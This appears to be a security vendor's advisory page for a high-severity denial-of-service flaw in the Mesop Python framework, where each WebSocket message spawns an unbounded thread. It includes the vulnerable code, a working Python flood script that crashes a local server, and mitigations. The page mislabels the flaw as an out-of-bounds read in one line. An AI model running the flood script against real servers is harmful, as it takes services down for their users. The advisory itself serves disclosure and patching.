Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-3jr7-6hqp-x679

HIGHFix: mesop-dev/mesop@760a207

GHSA-3jr7-6hqp-x679 is a high-severity (CVSS 7.5) Out-of-bounds Read vulnerability in mesop. O3 Security confirms whether GHSA-3jr7-6hqp-x679 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service

Also known asCVE-2026-34824PYSEC-2026-2204
Published
Apr 3, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 13, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍mesop

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.

Details

The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the mesop/server/server.py file, the handle_websocket function listens for incoming messages and immediately spawns a new threading.Thread for every successfully parsed ui_request.

There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection.

Vulnerable code snippet in mesop/server/server.py:

while True:
    message = ws.receive()
    if not message:
        continue
    # ... message parsing logic ...

    # VULNERABILITY: Spawning a new thread for every single message without limits
    thread = threading.Thread(
        target=copy_current_request_context(ws_generate_data),
        args=(ws, ui_request),
        daemon=True,
    )
    thread.start()

PoC

To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.

Prerequisites:

Python environment with the websocket-client library installed (pip install websocket-client).

A target Mesop application running locally (e.g., http://localhost:8080).

Steps to reproduce:

Start the target Mesop application.

Save the following script as exploit_dos.py.

Run the script: python exploit_dos.py. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.

import websocket
import base64

# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"

# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` 
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')

def flood_server():
    ws = websocket.WebSocket()
    try:
        ws.connect(TARGET_WS_URL)
        print("[+] Connection established. Initiating thread exhaustion attack...")
        
        # Rapidly send 50,000 messages to force the server to spawn 50,000 threads
        for i in range(50000):
            ws.send(EMPTY_UI_REQUEST_B64)
            
        print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
        ws.close()
    except Exception as e:
        print(f"[-] Connection closed or server crashed: {e}")

if __name__ == "__main__":
    flood_server()

Impact

Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.

Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.

Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.

Mitigation (Recommended Fixes):

Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers) Introduce per-connection rate limiting Implement a message queue with backpressure Consider migrating to an async event loop model instead of spawning OS threads

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImesop1.2.3&&< 1.2.51.2.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mesop. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update mesop to 1.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3jr7-6hqp-x679 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-3jr7-6hqp-x679 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3jr7-6hqp-x679. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. ### Details The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the `mesop/server/server.py` file, the `handle_web
O3 Security · Impact-Aware SCA

Is GHSA-3jr7-6hqp-x679 in your dependencies?

O3 detects GHSA-3jr7-6hqp-x679 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-3jr7-6hqp-x679: mesop Denial of… | O3 Security